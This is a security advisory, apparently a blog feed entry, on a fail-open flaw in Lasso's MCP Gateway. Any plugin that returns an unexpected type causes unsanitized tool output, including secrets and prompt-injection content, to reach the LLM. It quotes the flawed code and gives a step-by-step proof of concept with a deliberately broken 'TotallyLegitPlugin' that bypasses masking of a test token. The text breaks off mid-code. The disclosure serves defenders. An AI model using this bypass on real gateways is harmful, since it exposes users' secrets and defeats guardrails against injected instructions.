{TRAPDOOЯ SECURITY} Zola 2026-04-26T00:00:00+00:00 https://trapdoorsec.com/atom.xml Advisory: Lasso MCP Gateway bypass 2026-04-26T00:00:00+00:00 2026-04-26T00:00:00+00:00 akses https://trapdoorsec.com/writeups/advisory-lasso-mcp-gateway-bypass/ <h2 id="overview-lasso-mcp-gateway-bypass">Overview: Lasso MCP Gateway Bypass</h2> <p>2026 Bronze Globee Award for Cybersecurity Winner, Lasso Security offers a free and open source <a rel="external" href="https://www.lasso.security/resources/lasso-releases-first-open-source-security-gateway-for-mcp">MCP Gateway</a>, announced a year ago in April 2025, all versions through to current (1.2.0) contains a fail-open logical error in the plugin response processing pipeline that can allow information disclosure or indirect prompt injection.</p> <p>When any loaded plugin returns an unexpected type (e.g. a simple string) while processing a response (via method <code>process_response</code>), the gateway discards any sanitized output from other plugins and returns the original unsanitized response to the downstream LLM.</p> <p>Strictly speaking, this affects all guardrail plugins including the built-in basic plugin, as neither the plugin manager nor the sanitizer layer perform defensive type validation on plugin return values. A poorly written, misconfigured, or even a malicious plugin can therefore unconditionally bypass all response sanitization regardless of what other guardrail plugins are loaded, leading to information disclosure or indirect prompt injection.</p> <p>It should be noted that a failure of this kind in <em>any</em> plugin that is loaded, causes this bypass to occur for all other plugins. If this architectural deficiency is not addressed, then it becomes the responsibility of plugin authors to maintain the overall systems security posture, which is backward and unrealistic.</p> <h2 id="impact">Impact</h2> <p>MCP Gateways' entire reason for existence is to monitor and redact potentially sensitive information between your agent and a remote MCP server.</p> <p>While it is arguable that this could be deliberately exploited, I think its more likely that otherwise benign, error prone plugins could cause unintended and possibly undetectable information leaks to a 3rd party owned MCP server.</p> <p>That said, if deliberately exploited, this results in a total bypass of this function and may therefore lead to sensitive data exposure or information leaks. Where lasso's own plugin is loaded, this could mean bypass of prompt injection detection, etc.</p> <p>As such it is important that security teams assess this nuanced issue against their own environment and use cases. Some teams may not be making heavy use of custom plugins, and would therefore be at a lesser risk of realized impacts.</p> <h2 id="root-cause">Root Cause</h2> <blockquote> <p>This bug is a simple logic error at its heart but it is in a particularly critical location, and is characteristic of insufficient human code review.</p> </blockquote> <p>MCP Gateway expects plugins to return a specific type called <code>CallToolResult</code> that isn't clearly documented to plugin authors. If this type is not matched during input processing, then the system <strong>fails open</strong>, allowing unmasked output to be passed to the LLM under protection. <a rel="external" href="https://github.com/lasso-security/mcp-gateway/blob/dc3396d749d38770afb7fc35267a228ee39c2f7b/mcp_gateway/sanitizers.py#L214">From their github repository</a></p> <pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);"><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">if</span><span style="color: light-dark(#005CC5, #79B8FF);"> isinstance</span><span>(</span><span>sanitized_result</span><span>,</span><span> types</span><span>.</span><span>CallToolResult</span><span>)</span><span>:</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);"> return</span><span> sanitized_result</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">else</span><span>:</span><span> </span></span> <span class="giallo-l"><span> logger</span><span>.</span><span>error</span><span>(</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);"> f</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">Response plugin for tool </span><span style="color: light-dark(#005CC5, #79B8FF);">{</span><span>tool_name</span><span style="color: light-dark(#005CC5, #79B8FF);">}</span><span style="color: light-dark(#032F62, #9ECBFF);"> returned unexpected type </span></span> <span class="giallo-l"><span style="color: light-dark(#005CC5, #79B8FF);"> {</span><span style="color: light-dark(#005CC5, #79B8FF);">type</span><span>(</span><span>sanitized_result</span><span>)</span><span style="color: light-dark(#005CC5, #79B8FF);">}</span><span style="color: light-dark(#032F62, #9ECBFF);">. Returning original. </span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span></span> <span class="giallo-l"><span> )</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: light-dark(#6A737D, #6A737D);"> #</span><span style="color: light-dark(#6A737D, #6A737D);"> Consider returning an error result instead?</span></span> <span class="giallo-l"><span style="color: light-dark(#6A737D, #6A737D);"> #</span><span style="color: light-dark(#6A737D, #6A737D);"> return types.CallToolResult(outputs=</span></span> <span class="giallo-l"><span style="color: light-dark(#6A737D, #6A737D);"> #</span><span style="color: light-dark(#6A737D, #6A737D);"> [{&quot;type&quot;: &quot;error&quot;, &quot;message&quot;: &quot;Error message&quot;}])</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);"> return</span><span> result</span><span style="color: light-dark(#6A737D, #6A737D);"> #</span><span style="color: light-dark(#6A737D, #6A737D);"> Return original for now</span></span></code></pre> <p><em>Note the original code comment indicates the author was unsure how to deal with this issue. They simply log it out and then hope for the best.</em></p> <hr /> <h2 id="poc-gtfo">PoC || GTFO</h2> <p><strong>NOTE:</strong> This is a simple, contrived, example of impact using a local server-filesystem MCP server for ease of demonstration. To better visualize the impact, <strong>consider that this can also happen with a remote MCP server operated by a third party, too.</strong></p> <p>Most importantly this PoC only demonstrates a <code>basic</code> plugin bypass. However, should an <code>mcp-gateway</code> be configured to use the more sophisticated <code>lasso</code> plugin, then a failure in any other plugin would bypass <strong>all prompt injection and other output sanitization protection.</strong></p> <h3 id="prerequisites">Prerequisites:</h3> <ul> <li>Claude Code CLI - vanilla install</li> <li>Python 3.10+</li> </ul> <p>Tested on Linux, but in theory this should work on mac too, perhaps with some tweaks.</p> <ol> <li><strong>Install mcp-gateway</strong></li> </ol> <p>Follow the installation instructions here: <a rel="external" href="https://github.com/lasso-security/mcp-gateway">https://github.com/lasso-security/mcp-gateway</a></p> <pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">$</span><span style="color: light-dark(#032F62, #9ECBFF);"> mkdir</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">p</span><span style="color: light-dark(#032F62, #9ECBFF);"> ~/disclosures/lasso</span><span> &amp;&amp;</span><span style="color: light-dark(#005CC5, #79B8FF);"> cd</span><span style="color: light-dark(#032F62, #9ECBFF);"> ~/disclosures/lasso</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">$</span><span style="color: light-dark(#032F62, #9ECBFF);"> python</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">m</span><span style="color: light-dark(#032F62, #9ECBFF);"> venv</span><span style="color: light-dark(#032F62, #9ECBFF);"> .</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">$</span><span style="color: light-dark(#032F62, #9ECBFF);"> .</span><span style="color: light-dark(#032F62, #9ECBFF);"> bin/activate</span><span style="color: light-dark(#6A737D, #6A737D);"> #</span><span style="color: light-dark(#6A737D, #6A737D);"> for zsh use: source bin/activate</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">$</span><span style="color: light-dark(#032F62, #9ECBFF);"> pip</span><span style="color: light-dark(#032F62, #9ECBFF);"> install</span><span style="color: light-dark(#032F62, #9ECBFF);"> mcp-gateway</span></span></code></pre><h1 id=""></h1> <ol start="2"> <li><strong>Setup test fixture</strong></li> </ol> <p>Create a folder to grant MCP server access to</p> <pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">$</span><span style="color: light-dark(#032F62, #9ECBFF);"> mkdir</span><span style="color: light-dark(#032F62, #9ECBFF);"> ~/src/test</span></span></code></pre><h1 id="-1"></h1> <p>Create a file called <code>config.ini</code> in that directory with something that resembles a real hugging face token:</p> <pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">$</span><span style="color: light-dark(#032F62, #9ECBFF);"> echo</span><span style="color: light-dark(#032F62, #9ECBFF);"> &#39;</span><span style="color: light-dark(#032F62, #9ECBFF);">HF_TOKEN = &quot;hf_okpaLGklBeqdOvkrXljOCTwhADRrXo&quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">&#39;</span><span style="color: light-dark(#D73A49, #F97583);"> &gt;</span><span style="color: light-dark(#032F62, #9ECBFF);"> ~/src/test/config.ini</span></span></code></pre><h1 id="-2"></h1> <ol start="3"> <li><strong>Configure mcp-gateway and the server-filesystem MCP server</strong></li> </ol> <p>For testing we will use the <a rel="external" href="https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem">server-filesystem</a> MCP Server to read <code>config.ini</code> and test its masking functionality. This is considered a fairly standard 'reference' MCP server implementation.</p> <p>Update <code>~/.claude.json</code> to add it to the list of mcp-servers that <code>mcp-gateway</code> will handle. Configure this to limit filesystem access to the specific directory that the test fixture resides (e.g. <code>~/src/test</code>). Use <code>"--plugin", "basic"</code> in the args array.</p> <p>E.g. the mcpServers property in the configuration file should look like this:</p> <pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);"><code data-lang="json"><span class="giallo-l"><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">mcpServers</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span>: </span><span>{</span></span> <span class="giallo-l"><span style="color: light-dark(#005CC5, #79B8FF);"> &quot;</span><span style="color: light-dark(#005CC5, #79B8FF);">mcp-gateway</span><span style="color: light-dark(#005CC5, #79B8FF);">&quot;</span><span>:</span><span> {</span></span> <span class="giallo-l"><span style="color: light-dark(#005CC5, #79B8FF);"> &quot;</span><span style="color: light-dark(#005CC5, #79B8FF);">command</span><span style="color: light-dark(#005CC5, #79B8FF);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">/home/akses/disclosures/lasso/bin/mcp-gateway</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span>,</span></span> <span class="giallo-l"><span style="color: light-dark(#005CC5, #79B8FF);"> &quot;</span><span style="color: light-dark(#005CC5, #79B8FF);">args</span><span style="color: light-dark(#005CC5, #79B8FF);">&quot;</span><span>:</span><span> [</span></span> <span class="giallo-l"><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">--mcp-json-path</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span>,</span></span> <span class="giallo-l"><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">/home/akses/.claude.json</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span>,</span></span> <span class="giallo-l"><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">--plugin</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span>,</span></span> <span class="giallo-l"><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">basic</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span></span> <span class="giallo-l"><span> ]</span><span>,</span></span> <span class="giallo-l"><span style="color: light-dark(#005CC5, #79B8FF);"> &quot;</span><span style="color: light-dark(#005CC5, #79B8FF);">servers</span><span style="color: light-dark(#005CC5, #79B8FF);">&quot;</span><span>:</span><span> {</span></span> <span class="giallo-l"><span style="color: light-dark(#005CC5, #79B8FF);"> &quot;</span><span style="color: light-dark(#005CC5, #79B8FF);">filesystem</span><span style="color: light-dark(#005CC5, #79B8FF);">&quot;</span><span>:</span><span> {</span></span> <span class="giallo-l"><span style="color: light-dark(#005CC5, #79B8FF);"> &quot;</span><span style="color: light-dark(#005CC5, #79B8FF);">command</span><span style="color: light-dark(#005CC5, #79B8FF);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">npx</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span>,</span></span> <span class="giallo-l"><span style="color: light-dark(#005CC5, #79B8FF);"> &quot;</span><span style="color: light-dark(#005CC5, #79B8FF);">args</span><span style="color: light-dark(#005CC5, #79B8FF);">&quot;</span><span>:</span><span> [</span></span> <span class="giallo-l"><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">-y</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span>,</span></span> <span class="giallo-l"><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">@modelcontextprotocol/server-filesystem</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span>,</span></span> <span class="giallo-l"><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">/home/akses/src/test</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span></span> <span class="giallo-l"><span> ]</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span> }</span><span>,</span></span></code></pre><h1 id="-3"></h1> <ol start="4"> <li><strong>Start the agent</strong> Start <code>claude</code> in debug mode</li> </ol> <pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">$</span><span style="color: light-dark(#032F62, #9ECBFF);"> LOGLEVEL=DEBUG</span><span style="color: light-dark(#032F62, #9ECBFF);"> claude</span></span></code></pre><h1 id="-4"></h1> <p>Now use the following command to check that the gateway is operational: <code>/mcp</code></p> <p>You should see that the mcp server is operational: <img src="https://trapdoorsec.com/writeups/advisory-lasso-mcp-gateway-bypass/image.png" alt="" /></p> <ol start="5"> <li><strong>Establish correct behaviour</strong> Now you can query the agent to search for the HF token to confirm that this is correctly protected, using the following prompt:</li> </ol> <pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);"><code data-lang="plain"><span class="giallo-l"><span>Use mcp-gateway to read ~/src/test/config.ini from the filesystem</span></span></code></pre><h1 id="-5"></h1> <p>This should clearly show that masking is occurring between the file read and the filesystem MCP server, and the hugging face token should be masked.</p> <p><img src="https://trapdoorsec.com/writeups/advisory-lasso-mcp-gateway-bypass/image-1.png" alt="" /></p> <ol start="6"> <li><strong>Simulate the vulnerability by loading a buggy plugin</strong></li> </ol> <p>As a reminder, this doesn't need to be a malicious plugin. A poorly coded plugin simply needs to return an unstructured response that <code>mcp-gateway</code> is not expecting, for example, a string value. For someone unfamiliar with the plugin architecture this would be very difficult to review prior to use.</p> <p>The following code serves as a proof-of-concept plugin to demonstrate the issue.</p> <p>Create this file <code>my_plugin.py</code></p> <pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);"><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">from</span><span> typing</span><span style="color: light-dark(#D73A49, #F97583);"> import</span><span> Any</span><span>,</span><span> Dict</span><span>,</span><span> Optional</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">from</span><span> mcp_gateway</span><span>.</span><span>plugins</span><span>.</span><span>base</span><span style="color: light-dark(#D73A49, #F97583);"> import</span><span> GuardrailPlugin</span><span>,</span><span> PluginContext</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">from</span><span> mcp_gateway</span><span>.</span><span>plugins</span><span>.</span><span>manager</span><span style="color: light-dark(#D73A49, #F97583);"> import</span><span> register_plugin</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">import</span><span> logging</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>logger</span><span style="color: light-dark(#D73A49, #F97583);"> =</span><span> logging</span><span>.</span><span>getLogger</span><span>(</span><span style="color: light-dark(#005CC5, #79B8FF);">__name__</span><span>)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">@</span><span style="color: light-dark(#6F42C1, #B392F0);">register_plugin</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">class</span><span style="color: light-dark(#6F42C1, #B392F0);"> TotallyLegitPlugin</span><span>(</span><span style="color: light-dark(#6F42C1, #B392F0);">GuardrailPlugin</span><span>)</span><span>:</span></span> <span class="giallo-l"><span> plugin_name</span><span style="color: light-dark(#D73A49, #F97583);"> =</span><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">totally-legit</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);"> def</span><span style="color: light-dark(#6F42C1, #B392F0);"> load</span><span>(</span><span>self</span><span>,</span><span> config</span><span>:</span><span> Optional</span><span>[</span><span>Dict</span><span>[</span><span style="color: light-dark(#005CC5, #79B8FF);">str</span><span>,</span><span> Any</span><span>]</span><span>]</span><span style="color: light-dark(#D73A49, #F97583);"> =</span><span style="color: light-dark(#005CC5, #79B8FF);"> None</span><span>)</span><span> -&gt;</span><span style="color: light-dark(#005CC5, #79B8FF);"> None</span><span>:</span></span> <span class="giallo-l"><span> logger</span><span>.</span><span>info</span><span>(</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">TotallyLegitPlugin loaded</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span>)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);"> def</span><span style="color: light-dark(#6F42C1, #B392F0);"> process_request</span><span>(</span><span>self</span><span>,</span><span> context</span><span>:</span><span> PluginContext</span><span>)</span><span> -&gt;</span><span> Optional</span><span>[</span><span>Dict</span><span>[</span><span style="color: light-dark(#005CC5, #79B8FF);">str</span><span>,</span><span> Any</span><span>]</span><span>]</span><span>:</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);"> return</span><span> context</span><span>.</span><span>arguments</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);"> def</span><span style="color: light-dark(#6F42C1, #B392F0);"> process_response</span><span>(</span><span>self</span><span>,</span><span> context</span><span>:</span><span> PluginContext</span><span>)</span><span> -&gt;</span><span> Any</span><span>:</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);"> return</span><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">totally legit response</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span style="color: light-dark(#6A737D, #6A737D);"> #</span><span style="color: light-dark(#6A737D, #6A737D);"> narrator: this is not legit</span></span></code></pre><h1 id="-6"></h1> <p>The last line returns a string value that the <code>mcp-gateway</code> runtime has neglected to handle. Ideally it would reject the request and fail closed.</p> <blockquote> <p>An attacker who knows that such a bug exists, or that can push an innocent looking update like the above to an existing community plugin, could use this as a silent bypass.</p> </blockquote> <p>Now ensure that you have located the correct plugin directory and that <code>my_plugin.py</code> exists in that location:</p> <pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">$</span><span style="color: light-dark(#032F62, #9ECBFF);"> PLUGIN_DIR=</span><span>$(</span><span style="color: light-dark(#6F42C1, #B392F0);">pip</span><span style="color: light-dark(#032F62, #9ECBFF);"> show</span><span style="color: light-dark(#032F62, #9ECBFF);"> mcp-gateway</span><span style="color: light-dark(#D73A49, #F97583);"> 2</span><span style="color: light-dark(#D73A49, #F97583);">&gt;</span><span style="color: light-dark(#032F62, #9ECBFF);">/dev/null</span><span style="color: light-dark(#D73A49, #F97583);"> |</span><span style="color: light-dark(#6F42C1, #B392F0);"> grep</span><span style="color: light-dark(#032F62, #9ECBFF);"> Location</span><span style="color: light-dark(#D73A49, #F97583);"> |</span><span style="color: light-dark(#6F42C1, #B392F0);"> awk</span><span style="color: light-dark(#032F62, #9ECBFF);"> &#39;</span><span style="color: light-dark(#032F62, #9ECBFF);">{print $2}</span><span style="color: light-dark(#032F62, #9ECBFF);">&#39;</span><span>)</span><span style="color: light-dark(#032F62, #9ECBFF);">/mcp_gateway/plugins/guardrails</span></span> <span class="giallo-l"><span style="color: light-dark(#005CC5, #79B8FF);">echo</span><span> $</span><span>PLUGIN_DIR</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">/home/akses/disclosures/lasso/lib/python3.14/site-packages/mcp_gateway/plugins/guardrails</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">$</span><span style="color: light-dark(#032F62, #9ECBFF);"> cp</span><span style="color: light-dark(#032F62, #9ECBFF);"> /path/to/my_plugin.py</span><span> $</span><span>PLUGIN_DIR</span></span></code></pre> <p>Ensure that this plugin is registered with <code>mcp-gateway</code> by modifying <code>~/.claude.json</code></p> <pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);"><code data-lang="json"><span class="giallo-l"><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">mcpServers</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span>: </span><span>{</span></span> <span class="giallo-l"><span style="color: light-dark(#005CC5, #79B8FF);"> &quot;</span><span style="color: light-dark(#005CC5, #79B8FF);">mcp-gateway</span><span style="color: light-dark(#005CC5, #79B8FF);">&quot;</span><span>:</span><span> {</span></span> <span class="giallo-l"><span style="color: light-dark(#005CC5, #79B8FF);"> &quot;</span><span style="color: light-dark(#005CC5, #79B8FF);">command</span><span style="color: light-dark(#005CC5, #79B8FF);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">/home/akses/disclosures/lasso/bin/mcp-gateway</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span>,</span></span> <span class="giallo-l"><span style="color: light-dark(#005CC5, #79B8FF);"> &quot;</span><span style="color: light-dark(#005CC5, #79B8FF);">args</span><span style="color: light-dark(#005CC5, #79B8FF);">&quot;</span><span>:</span><span> [</span></span> <span class="giallo-l"><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">--mcp-json-path</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span>,</span></span> <span class="giallo-l"><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">/home/akses/.claude.json</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span>,</span></span> <span class="giallo-l"><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">--plugin</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span>,</span></span> <span class="giallo-l"><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">basic</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span>,</span></span> <span class="giallo-l"><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">--plugin</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span>,</span></span> <span class="giallo-l"><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">totally-legit</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span></span> <span class="giallo-l"><span> ]</span><span>,</span></span> <span class="giallo-l"><span style="color: light-dark(#005CC5, #79B8FF);"> &quot;</span><span style="color: light-dark(#005CC5, #79B8FF);">servers</span><span style="color: light-dark(#005CC5, #79B8FF);">&quot;</span><span>:</span><span> {</span></span> <span class="giallo-l"><span style="color: light-dark(#005CC5, #79B8FF);"> &quot;</span><span style="color: light-dark(#005CC5, #79B8FF);">filesystem</span><span style="color: light-dark(#005CC5, #79B8FF);">&quot;</span><span>:</span><span> {</span></span> <span class="giallo-l"><span style="color: light-dark(#005CC5, #79B8FF);"> &quot;</span><span style="color: light-dark(#005CC5, #79B8FF);">command</span><span style="color: light-dark(#005CC5, #79B8FF);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">npx</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span>,</span></span> <span class="giallo-l"><span style="color: light-dark(#005CC5, #79B8FF);"> &quot;</span><span style="color: light-dark(#005CC5, #79B8FF);">args</span><span style="color: light-dark(#005CC5, #79B8FF);">&quot;</span><span>:</span><span> [</span></span> <span class="giallo-l"><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">-y</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span>,</span></span> <span class="giallo-l"><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">@modelcontextprotocol/server-filesystem</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span>,</span></span> <span class="giallo-l"><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">/home/akses/src/test</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span></span> <span class="giallo-l"><span> ]</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span> }</span><span>,</span></span></code></pre> <p>Despite what the code documentation states, the plugin must be manually registered in <code>$PLUGIN_DIR/__init__.py</code>:</p> <pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);"><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#032F62, #9ECBFF);">&quot;&quot;&quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">Guardrail plugins for MCP Gateway.</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: light-dark(#032F62, #9ECBFF);">These plugins help protect the system by validating and modifying requests/responses.</span></span> <span class="giallo-l"><span style="color: light-dark(#032F62, #9ECBFF);">&quot;&quot;&quot;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: light-dark(#6A737D, #6A737D);">#</span><span style="color: light-dark(#6A737D, #6A737D);"> Import all plugins to ensure they register</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">from</span><span> mcp_gateway</span><span>.</span><span>plugins</span><span>.</span><span>guardrails</span><span>.</span><span>basic</span><span style="color: light-dark(#D73A49, #F97583);"> import</span><span> BasicGuardrailPlugin</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">from</span><span> mcp_gateway</span><span>.</span><span>plugins</span><span>.</span><span>guardrails</span><span>.</span><span>lasso</span><span style="color: light-dark(#D73A49, #F97583);"> import</span><span> LassoGuardrailPlugin</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">from</span><span> mcp_gateway</span><span>.</span><span>plugins</span><span>.</span><span>guardrails</span><span>.</span><span>presidio</span><span style="color: light-dark(#D73A49, #F97583);"> import</span><span> PresidioGuardrailPlugin</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">from</span><span> mcp_gateway</span><span>.</span><span>plugins</span><span>.</span><span>guardrails</span><span>.</span><span>my_plugin</span><span style="color: light-dark(#D73A49, #F97583);"> import</span><span> TotallyLegitPlugin</span><span style="color: light-dark(#6A737D, #6A737D);"> #</span><span style="color: light-dark(#6A737D, #6A737D);"> add this line</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: light-dark(#005CC5, #79B8FF);">__all__</span><span style="color: light-dark(#D73A49, #F97583);"> =</span><span> [</span></span> <span class="giallo-l"><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">BasicGuardrailPlugin</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span>,</span></span> <span class="giallo-l"><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">LassoGuardrailPlugin</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span>,</span></span> <span class="giallo-l"><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">PresidioGuardrailPlugin</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span>,</span></span> <span class="giallo-l"><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">TotallyLegitPlugin</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span>,</span><span style="color: light-dark(#6A737D, #6A737D);"> #</span><span 